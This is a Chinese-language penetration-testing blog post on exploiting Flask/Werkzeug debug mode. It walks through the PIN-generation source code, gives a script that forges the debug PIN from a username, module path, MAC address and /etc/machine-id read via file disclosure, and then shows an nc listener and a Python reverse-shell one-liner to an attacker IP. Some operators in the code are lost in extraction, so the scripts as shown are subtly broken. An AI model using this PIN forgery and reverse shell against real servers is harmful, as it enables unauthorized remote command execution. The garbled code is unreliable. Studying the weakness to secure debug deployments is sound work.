声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!
START
0x01渗透案例引发的研究思路
1、 日常渗透发现进入到一处系统的后台,随意点击了后台的一处功能,触发了该系统的debug,如下图所示:
2、 点击报错代码显示的黑框框(输入框),弹出一个需要输入pin码的输入框,如下图所示(现在环境无法复现所以找了一个历史案例图):
3、 经过查阅flask的debug模式的相关资料,发现我们如果成功获取pin码,可以在报错页面执行任意代码,但是我们现在无法获取pin码,那我们在本地开启一个简单的flask应用看看pin码到底是怎么产生的。
Flask代码如下:
代码语言:javascript复制from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_word():
return None
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9003, debug=True)
经过测试,同一台机器上多次启动同一个flask应用时,这个生成的pin码是固定的,是由一些固定的值进行生成的,不如直接去看flask源码是如何写的:
用pycharm在app.run下好断点,开启debug模式
由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,代码所在的路径为: C:Python27Libsite-packageswerkzeugdebug,其中关键的函数get_pin_and_cookie_name()如下:
代码语言:javascript复制 def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = (' d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name
return的rv变量就是生成的pin码
最主要的就是这一段哈希部分:
代码语言:javascript复制for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
连接了两个列表,然后循环里面的值做哈希,这两个列表的定义:
代码语言:javascript复制probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
1、probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’,getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。
2、private_bits包含两个字段,分别为str(uuid.getnode())和get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/address,get_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id
当我们获取到这六个参数的值时,就可以通过脚本推算出生成的pin码,然后进行任意命令执行。
0x02漏洞利用
1、flask debug模式无开启pin码验证
可直接进入交互式的python shell 进行命令执行。
2、flask debug模式开启了pin码验证
1、一般都是需要通过任意文件读取读取到生成pin码private_bits()所需要的2个参数值。
2、通过debug报错代码获取到public_bits()所需要的4个参数值。
3、然后使用以下payload计算出pin:
代码语言:javascript复制import hashlib
from itertools import chain
probably_public_bits = [
'Administrator',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'C:UsersAdministratorPycharmProjectssecurritystudyvenvlibsite-packagesflaskapp.py' # getattr(mod, '__file__', None),
]
private_bits = [
'106611682152170',# str(uuid.getnode()), /sys/class/net/ens33/address
b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = (' d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
如下图所示:
4、 然后就可以进入交互式的python shell进行命令执行。
比如使用python进行反弹shell。
步骤如下:
1、 在攻击机(A)上开启一个nc监听端口。
Nc -lvvp 8888
2、 在debug的console页面上输入python反弹shell的代码进行反弹到攻击机上。
代码如下:
代码语言:javascript复制import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
0x03总结
1、正常flask开启了debug模式,如果没有开启pin码进行校验,可直接获取python交互式shell进行命令执行
2、 flask开启了debug模式,但是开启了pin码校验,如果对应的flask应用没有任意文件读取的漏洞是无法获取到生成pin所需要的6个参数值的,无法获取交互式python shell。
3、flask开启了debug模式,且开启了pin码校验,且对应的应用存在任意文件读取的漏洞,可以通过文件读取获取到username、modname、getattr(app, '__name__', getattr(app.__class__, '__name__'))、getattr(mod, '__file__', None)、str(uuid.getnode()), /sys/class/net/ens33/address、get_machine_id(), /etc/machine-id,从而通过脚本生成pin码,然后获取python交互式shell,进行命令执行.
0x04参考链接
https://zhuanlan.zhihu.com/p/32138231
https://xz.aliyun.com/t/2553#toc-2
https://www.dazhuanlan.com/2019/12/05/5de8c90ee03dd/?__cf_chl_jschl_tk__=6297c338db1048cd0af15fe375956340bbce6156-1601270282-0-AYlx_7583zw_1g7Q7rHBo6L-5t4evM5Lw4yjLav_1CEFCn2PNq0qWkKcsYK95Fw5Lsvt88XATE26KexsrJSlK2wtY9TIZuC7abxIwJwGkWA-rxP2nUqdchaz6qWeVQ_ucUTxsM0ft5q69yMs6_c13NWXUy5Jb7DyUQ-CSKNuICy02DrQsVA46eUtnxT0XWHA0twB2tYuqlf1i-ZNGgzgatTZvV69ltExMrWUWx8IGM7jmF6I2FihCIJ1-tsebIL0w6xG_jZFNeS-UJVk3C8iozHdWkde0sARVUJJ4SNlUE63B5yxxDwpb6Ukl_OAseGo9w
END